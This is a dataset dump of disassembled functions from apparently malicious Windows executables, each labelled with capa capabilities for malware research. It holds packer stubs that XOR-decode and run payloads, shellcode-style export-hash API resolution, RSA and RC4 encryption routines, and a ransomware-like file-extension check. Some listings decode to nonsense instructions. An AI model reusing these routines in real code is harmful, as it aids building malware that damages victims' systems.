joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4119c7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x4119d6
pop dword [ebp - 0x50]
mov eax, 0x4119d6
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xa1a38514
sub dword [ebp - 0x60], 0x53513fc9
mov dword [ebp - 0x5c], 0xa2de1557
sub dword [ebp - 0x5c], 0x70aac912
mov dword [ebp - 0x58], 0xd0680cff
add dword [ebp - 0x58], 0x7be4372f
mov dword [ebp - 0x54], 0x19acf489
add dword [ebp - 0x54], 0xe6530b77
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x77de2ee3
sub dword [ebp - 0x60], 0x36bc58d
mov dword [ebp - 0x5c], 0x7ee90e05
sub dword [ebp - 0x5c], 0x3d7cac90
mov dword [ebp - 0x58], 0x89f99f6f
add dword [ebp - 0x58], 0xd975ccfd
mov dword [ebp - 0x54], 0x97c68f13
add dword [ebp - 0x54], 0x683970ed
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3cd7c
push 0
call eax
mov ecx, 0x4f60
xor ebx, ebx
add ebx, eax
mov esi, 0x42a0fb8d
sub esi, 0x425e558d
add esi, dword [ebp - 0x50]
mov edx, 0x80ee230
add edx, 0x441d682f
add dword [ebp - 0x28], 0x48fbe364
mov edi, dword [esi]
sub dword [ebp - 0x20], eax
xor edi, edx
mov dword [ebp - 0x40], 0x54a947b7
mov dword [ebx], edi
xor dword [ebp - 4], 0x1c8b28fd
add ebx, 0x83a0b42
add ebx, 0xf7c5f4c2
add esi, 4
loop 0x411ae5
add eax, 0x13053
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x403e59
pop dword [ebp - 0x2c]
mov eax, 0x6f2a7727
add eax, 0x9115c732
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x3c8e9e16
sub dword [ebp - 0x3c], 0xee3c58cb
mov dword [ebp - 0x38], 0xfe39106c
sub dword [ebp - 0x38], 0xcc05c427
mov dword [ebp - 0x34], 0x7c79a1a6
sub dword [ebp - 0x34], 0x302d5d78
mov dword [ebp - 0x30], 0x936a3b31
sub dword [ebp - 0x30], 0x936a3b31
lea eax, [ebp - 0x3c]
push eax
mov eax, 0xbfcbeb02
sub eax, 0xbf8b7a9e
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x659e0d6d
add dword [ebp - 0x3c], 0xed45be9
mov dword [ebp - 0x38], 0x24d1cead
add dword [ebp - 0x38], 0x1c9a92c8
mov dword [ebp - 0x34], 0xfdbf4d31
sub dword [ebp - 0x34], 0x9a4fe0c5
mov dword [ebp - 0x30], 0xddd27244
sub dword [ebp - 0x30], 0xddd27244
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3a1c5
push 0
call eax
mov ecx, 0x12607b5e
sub ecx, 0x126025ea
mov esi, eax
mov edx, 0xa6e563d6
add edx, 0x595b9c2a
add edx, dword [ebp - 0x2c]
mov ebx, 0xc6e82b57
add ebx, 0xfbd1ac1e
mov edi, dword [edx]
xor dword [ebp - 0x24], 0x4577b062
add edi, ebx
add dword [ebp - 0x18], ecx
mov dword [esi], edi
xor dword [ebp - 4], 0xb2e82e9b
add esi, 4
add edx, 4
loop 0x403f76
add eax, 0xf9383af1
add eax, 0x6c90db2
xor ebx, ebx
add ebx, eax
add eax, 0xca80ef3a
sub eax, 0xca80ef35
mov ecx, 0x400000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x40344c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x40345b
pop dword [ebp - 0xc]
mov eax, 0x40345b
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x475af8a4
add dword [ebp - 0x1c], 0x6f74ca7
mov dword [ebp - 0x18], 0xc1270bae
sub dword [ebp - 0x18], 0x8ef3bf69
mov dword [ebp - 0x14], 0xef2d03f3
add dword [ebp - 0x14], 0x5d1f403b
mov dword [ebp - 0x10], 0x47faf883
add dword [ebp - 0x10], 0xb805077d
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x8f01dc2b
sub eax, 0x8ec19bd7
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xd5401df4
sub dword [ebp - 0x1c], 0x60cdb49e
mov dword [ebp - 0x18], 0xed460ad8
sub dword [ebp - 0x18], 0xabd9a963
mov dword [ebp - 0x14], 0xe7e6d84
add dword [ebp - 0x14], 0x54f0fee8
mov dword [ebp - 0x10], 0xb9b0d530
add dword [ebp - 0x10], 0x464f2ad0
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xc214002f
add eax, 0x3e2c4021
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x39153
push 0
call eax
mov ecx, 0x566193e0
sub ecx, 0x56614301
mov ebx, eax
mov esi, 0x408400
add esi, dword [ebp - 0xc]
mov edx, 0x63cfe886
mov edi, dword [esi]
sub dword [ebp - 4], ecx
add edi, edx
xor dword [ebp - 8], eax
mov dword [ebx], edi
add dword [ebp - 4], 0xe95d6ec3
add ebx, 0xc2713705
sub ebx, 0xc2713701
add esi, 0x81002340
sub esi, 0x8100233c
loop 0x40356c
add eax, 0x72d50f8
sub eax, 0x72c1aa9
xor ebx, ebx
add ebx, eax
add eax, 0x7f974fa7
sub eax, 0x7f974fa2
mov ecx, 0xf2874765
add ecx, 0xdb8b89b
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x401ea0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
nop
movzx ecx, word [edx + 0x26]
nop
mov esi, dword [edx + 0x28]
xor edi, edi
jmp 0x401e94
xor eax, eax
lodsb al, byte [esi]
nop
cmp al, 0x61
jl fcn.00401ea0
nop
nop
sub al, 0x20
nop
ror edi, 0xd
add edi, eax
jmp 0x401eb4
dec ecx
nop
jne 0x401e86
nop
push edx
nop
mov edx, dword [edx + 0x10]
jmp 0x401ecc
mov eax, dword [edx + 0x3c]
jmp 0x401ee0
add eax, edx
mov eax, dword [eax + 0x78]
jmp 0x401ef6
test eax, eax
jmp 0x401f04
push edi
je 0x402052
jmp 0x401f15
add eax, edx
mov ecx, dword [eax + 0x18]
nop
jmp 0x401f25
push eax
mov ebx, dword [eax + 0x20]
nop
jmp 0x401f35
add ebx, edx
jmp 0x401f43
nop
test ecx, ecx
je 0x402050
nop
xor edi, edi
dec ecx
mov esi, dword [ebx + ecx*4]
jmp 0x401f60
add esi, edx
nop
nop
xor eax, eax
nop
ror edi, 0xd
nop
lodsb al, byte [esi]
nop
add edi, eax
jmp 0x401f7e
cmp al, ah
jmp 0x401f8e
jne 0x401f63
jmp 0x401fa0
nop
add edi, dword [ebp - 8]
nop
cmp edi, dword [ebp + 0x24]
jmp 0x401fb8
jne 0x401f43
nop
jmp 0x401fcc
pop eax
nop
mov ebx, dword [eax + 0x24]
nop
jmp 0x401fdc
add ebx, edx
mov cx, word [ebx + ecx*2]
nop
jmp 0x401ff0
mov ebx, dword [eax + 0x1c]
nop
add ebx, edx
mov eax, dword [ebx + ecx*4]
jmp 0x402005
add eax, edx
nop
jmp 0x402017
mov dword [esp + 0x24], eax
pop ebx
jmp 0x402029
pop ebx
nop
popal
nop
jmp 0x402039
pop ecx
pop edx
nop
push ecx
nop
jmp eax
nop
pop eax
nop
pop edi
jmp 0x402061
pop edx
nop
jmp 0x402071
mov edx, dword [edx]
nop
jmp 0x401e7b

Function at 0x401ed7
Capabilities:
Resolve function by parsing pe exports

Disassembly:
das
sub eax, dword [esi + 0x19]
pop edi
fidivr dword [edi + 0x58577c1b]
mov edi, 0x58577c1b
mov edi, 0x58577c1b
clc
inc eax
add eax, 0x8bd001d2
inc eax
js 0x401ed1
movsx ebx, byte [eax + 0x64]
sbb dword [ebx - 0xe], ebp
loope 0x401f16
mov al, 0x57
sub dl, byte [ebx]
push esi
insb byte es:[edi], dx
stosb byte es:[edi], al
ror byte [ebx - 0x146fe7b8], 1
or cl, al
mov ecx, 0x3f5d255a
push ebp
invalid

Function at 0x40222b
Capabilities:
Encode data using xor

Disassembly:
leave
call 0x402137
xor ecx, ecx
sub ecx, 0xffffff93
call 0x40222b
rcr byte [esi - 0x7f], 0x76
push cs
mov byte [0x83edadea], al
out dx, al
cld
xor dword [esi + 0xe], 0xedadeaa2
sub esi, 0xfffffffc
loop 0x40222e
sbb esi, dword [ebp - 0x54]
in eax, dx
mov byte [0x5d125202], al
adc eax, 0xa692b36c
mov dword [0x871040ea], eax
and al, byte es:[edi]
add ebx, dword ss:[edx + 0x1d]
pop ebx
sbb byte [ecx - 0x48], ch
and dword [ebp + 0x15898fa3], edx
cmp edi, dword [ebp + 0x56]
pop es
push edi
push es
js 0x402217
push edx
jl 0x40222e
test al, 0xbf
push es
add eax, 0xb2cd1aaa
popal
dec edi
adc ecx, dword [eax]
fld xword [edi]
div edx
bound edi, qword [esi - 0x5e72e2ef]
daa
mov esp, 0xf5e01a42
xor byte [ebx + ecx - 0x74cd11e8], 0x84
jne 0x402297
pop ebp
add esp, edi
pop esi
or dh, ch
sbb eax, 0xbaacf595
push eax
scasd eax, dword es:[edi]
aas
push edi
xchg ebp, eax
cmc
lodsb al, byte [esi]
mov edx, 0x573faf50
mov es, word cs:[edi + 0x26]
mov ebp, 0xee0c8af9
cmp ebp, dword [eax + 0x1588a96e]
xlatb
pushal
movsd dword es:[edi], dword [esi]
cmp ch, bl
ljmp 0x4192
Function at 0x408c70
Capabilities:
Set socket configuration

Disassembly:
push ebp
fsubr st(4)
push ecx
mov edx, dword [ebx + 8]
lea eax, [ebp - 4]
push eax
push 0x7704667e
push ecx
mov dword [ebp - 4], 1
call dword [0x240c14f]
cmp eax, 0xffffffff
test al, 0x1e
push esi
mov esi, dword [0x40c142]
call esi
test dword [ecx], esi
jne 0x408c61
pop esi
mov esp, ebp
pop ebp
ret
push ds
ror byte [ebx - 0x6f3ca21b], 0x90
test eax, 0x66fd9090
nop
nop
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp - 0x53]
push esi
mov edi, esp
out dx, al
push edi
mov edi, dword [ebp - 0x46]
mov eax, ebx
cmpsd dword [esi], dword es:[edi]
invalid
Function at 0x401080
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push ebx
push edi
xor edi, edi
mov bh, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
cmp dword [ebp + 0xc], edi
jbe 0x4010ec
push esi
nop dword [eax]
inc bh
movzx esi, bh
mov bl, byte [esi + eax]
add dl, bl
mov byte [ebp + 0x13], dl
movzx edx, dl
movzx ecx, byte [edx + eax]
mov byte [esi + eax], cl
mov byte [edx + eax], bl
movzx ecx, byte [esi + eax]
movzx edx, bl
add edx, ecx
movzx ecx, dl
mov edx, dword [ebp + 8]
movzx ecx, byte [ecx + eax]
xor byte [edi + edx], cl
inc edi
mov dl, byte [ebp + 0x13]
cmp edi, dword [ebp + 0xc]
jb 0x4010a0
pop esi
mov cl, dl
mov byte [eax + 0x100], bh
pop edi
mov byte [eax + 0x101], cl
pop ebx
pop ebp
ret
pop edi
mov byte [eax + 0x100], bh
mov byte [eax + 0x101], dl
pop ebx
pop ebp
ret
Function at 0x401150
Capabilities:
Decode data using base64 via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1024
call fcn.00404ad0
mov eax, dword [0x417114]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x10]
push 1
mov dword [ebp - 0x1020], eax
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x804]
push esi
push eax
call fcn.00405bc0
add esp, 0xc
mov dword [ebp - 0x1010], 0x800
lea eax, [ebp - 0x1010]
mov dword [ebp - 0x1014], 0
mov dword [ebp - 0x100c], 0
push 0
push 0
push eax
lea eax, [ebp - 0x1004]
push eax
push 0
push 0
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x40128d
lea eax, [ebp - 0x1024]
push eax
lea eax, [ebp - 0x101c]
push eax
push 0
push 0x8000
push dword [ebp - 0x1010]
lea eax, [ebp - 0x1004]
push eax
push 8
push 1
call dword [sym.imp.CRYPT32.dll_CryptDecodeObjectEx]
test eax, eax
je 0x40128d
push 0xf0000000
push 1
push 0
push 0
lea eax, [ebp - 0x1014]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x40128d
lea eax, [ebp - 0x100c]
push eax
push 0
push 0
push 0
push dword [ebp - 0x101c]
push 1
push dword [ebp - 0x1014]
call dword [sym.imp.CRYPT32.dll_CryptImportPublicKeyInfoEx]
test eax, eax
je 0x40128d
push 0x75
lea eax, [ebp - 0x1008]
mov dword [ebp - 0x1018], 0x75
push eax
push 0
push 0
push 1
push 0
push dword [ebp - 0x100c]
mov dword [ebp - 0x1008], 0x75
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x40129f
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x1008]
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push dword [ebp - 0x1008]
mov esi, eax
push 0
push esi
call fcn.00406140
push dword [ebp - 0x1018]
push dword [ebp - 0x1020]
push esi
call fcn.00405bc0
add esp, 0x18
lea eax, [ebp - 0x1018]
push dword [ebp - 0x1008]
push eax
push esi
push 0
push 1
push 0
push dword [ebp - 0x100c]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x401287
mov eax, dword [ebp - 0x1008]
mov ecx, dword [ebp - 4]
mov dword [ebx], eax
xor ecx, ebp
mov eax, esi
pop esi
pop ebx
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
Function at 0x401310
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea eax, [ebp - 8]
push 0
push 0x18
push 0x410438
push 0
push eax
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
call esi
test eax, eax
jne 0x401363
push 8
push 0x18
push str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider
push eax
lea eax, [ebp - 8]
push eax
call esi
test eax, eax
jne 0x401363
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 4]
push eax
push 0x4000
push 1
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
je 0x40135c
push edi
mov edi, dword [ebp + 0xc]
push edi
push 0
push 0
push 6
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptExportKey]
test eax, eax
je 0x4013bc
push dword [edi]
mov esi, dword [ebp + 8]
push 0
push dword [esi]
call fcn.00406140
add esp, 0xc
push edi
push dword [esi]
push 0
push 6
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptExportKey]
test eax, eax
jne 0x4013c4
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
test eax, eax
je 0x4013d2
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov eax, dword [ebp - 8]
test eax, eax
je 0x4013e2
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402ac0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
xor eax, eax
movzx ecx, word [edx]
test cx, cx
je 0x402ae3
rol eax, 7
lea edx, [edx + 2]
movzx ecx, cx
xor eax, ecx
movzx ecx, word [edx]
test cx, cx
jne 0x402ad0
pop ebp
ret

Function at 0x402af0
Capabilities:
Get disk information
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x417114]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
xor esi, esi
xor ebx, ebx
nop dword [eax]
lea eax, [ebx + 0x41]
cbw
movzx eax, ax
push eax
lea eax, [ebp - 0xc]
push 0x410648
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
je 0x402b3b
cmp eax, 2
jne 0x402b3c
inc esi
inc ebx
cmp ebx, 0x1a
jl 0x402b10
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x1c]
xor edx, edx
div esi
mov ecx, 1
test eax, eax
pop edi
cmove eax, ecx
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00404ab6
mov esp, ebp
pop ebp
ret

Function at 0x402b70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x417114]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.USER32.dll_CharUpperW]
mov ax, word [ebp - 0x20c]
lea edx, [ebp - 0x20c]
xor ecx, ecx
test ax, ax
je 0x402c89
movzx eax, ax
nop dword [eax]
rol ecx, 7
lea edx, [edx + 2]
movzx eax, ax
xor ecx, eax
movzx eax, word [edx]
test ax, ax
jne 0x402bc0
cmp ecx, 0x7a53f792
ja 0x402c39
je 0x402c03
cmp ecx, 0x462194b9
ja 0x402c16
je 0x402c03
cmp ecx, 0x7024f2
je 0x402c03
cmp ecx, 0x314d3d80
je 0x402c03
cmp ecx, 0x45575934
jne 0x402c89
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
cmp ecx, 0x71792943
je 0x402c03
cmp ecx, 0x717a6ede
jne 0x402c89
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
cmp ecx, 0xd6452416
ja 0x402c66
je 0x402c03
cmp ecx, 0x7efaf42e
je 0x402c03
cmp ecx, 0x917fe531
jne 0x402c89
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
cmp ecx, 0xe2c4812a
je 0x402c03
cmp ecx, 0xea932256
jne 0x402c89
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
Function at 0x402ca0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e8
mov eax, dword [0x417114]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
xorps xmm0, xmm0
push esi
push edi
push eax
lea eax, [ebp - 0x2e8]
mov dword [ebp - 0xe0], 0x4c002e
push eax
mov dword [ebp - 0xdc], 0x4b004e
movups xmmword [ebp - 0xd8], xmm0
mov dword [ebp - 0xb8], 0
movups xmmword [ebp - 0xc8], xmm0
mov dword [ebp - 0x88], 0x45002e
mov dword [ebp - 0x84], 0x450058
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x60], 0
movups xmmword [ebp - 0x70], xmm0
mov dword [ebp - 0x5c], 0x44002e
mov dword [ebp - 0x58], 0x4c004c
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x44], xmm0
mov dword [ebp - 0xb4], 0x53002e
mov dword [ebp - 0xb0], 0x530059
movups xmmword [ebp - 0xac], xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x30], 0x4f002e
mov dword [ebp - 0x2c], 0x580043
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 8], 0
movups xmmword [ebp - 0x18], xmm0
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x2e8]
push eax
call dword [sym.imp.USER32.dll_CharUpperW]
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrW]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2e8]
push eax
call esi
test eax, eax
jne 0x402dff
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x2e8]
push eax
call esi
test eax, eax
jne 0x402dff
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x2e8]
push eax
call esi
test eax, eax
jne 0x402dff
lea eax, [ebp - 0xb4]
push eax
lea eax, [ebp - 0x2e8]
push eax
call esi
test eax, eax
jne 0x402dff
lea eax, [ebp - 0xe0]
push eax
lea eax, [ebp - 0x2e8]
push eax
call esi
test eax, eax
jne 0x402dff
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
xor ecx, ebp
pop esi
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
Function at 0x402e90
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x640
mov eax, dword [0x417114]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edi, eax
push esi
lea eax, [ebp - 0x20c]
push eax
call ebx
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
cmp edi, 0xffffffff
je 0x402f60
lea eax, [ebp - 0x640]
mov dword [ebp - 0x640], 0x22c
push eax
push edi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x402f60
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
nop word [eax + eax]
lea eax, [ebp - 0x61c]
push eax
lea eax, [ebp - 0x414]
push eax
call ebx
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push eax
call esi
test eax, eax
je 0x402f7a
lea eax, [ebp - 0x640]
push eax
push edi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x402f10
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
Function at 0x403030
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x417114]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.USER32.dll_CharUpperW]
mov ax, word [ebp - 0x20c]
lea edx, [ebp - 0x20c]
xor ecx, ecx
test ax, ax
je 0x403258
movzx eax, ax
rol ecx, 7
lea edx, [edx + 2]
movzx eax, ax
xor ecx, eax
movzx eax, word [edx]
test ax, ax
jne 0x403083
cmp ecx, 0x71adf2e1
ja 0x40319a
je 0x4031ca
cmp ecx, 0x389ff251
ja 0x403136
je 0x4031ca
cmp ecx, 0xd6cc512
ja 0x4030ff
je 0x4031ca
cmp ecx, 0x853e7d4
je 0x4031ca
cmp ecx, 0x8916cc4
je 0x4031ca
cmp ecx, 0xa932103
jne 0x403258
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
cmp ecx, 0x1be85856
je 0x4031ca
cmp ecx, 0x28b5fd61
je 0x4031ca
cmp ecx, 0x3830e441
jne 0x403258
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
cmp ecx, 0x621ec8d1
ja 0x403173
je 0x4031ca
cmp ecx, 0x55b2ac88
je 0x4031ca
cmp ecx, 0x58532646
je 0x4031ca
cmp ecx, 0x58cae791
jne 0x403258
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
cmp ecx, 0x693126b4
je 0x4031ca
cmp ecx, 0x6932f547
jne 0x403258
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
cmp ecx, 0x9b6d2710
ja 0x403200
je 0x4031ca
cmp ecx, 0x9663be08
ja 0x4031dd
je 0x4031ca
cmp ecx, 0x7933a751
je 0x4031ca
cmp ecx, 0x89d322ce
je 0x4031ca
cmp ecx, 0x8a53e4d9
jne 0x403258
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
cmp ecx, 0x96673e08
je 0x4031ca
cmp ecx, 0x971f3464
jne 0x403258
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
cmp ecx, 0xdded5961
ja 0x403235
je 0x4031ca
cmp ecx, 0xb7e0edc0
je 0x4031ca
cmp ecx, 0xb890e4cf
je 0x4031ca
cmp ecx, 0xbeba4434
jne 0x403258
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
cmp ecx, 0xe892b59f
je 0x4031ca
cmp ecx, 0xf9736caf
jne 0x403258
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404ab6
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.00404ab6
mov esp, ebp
pop ebp
ret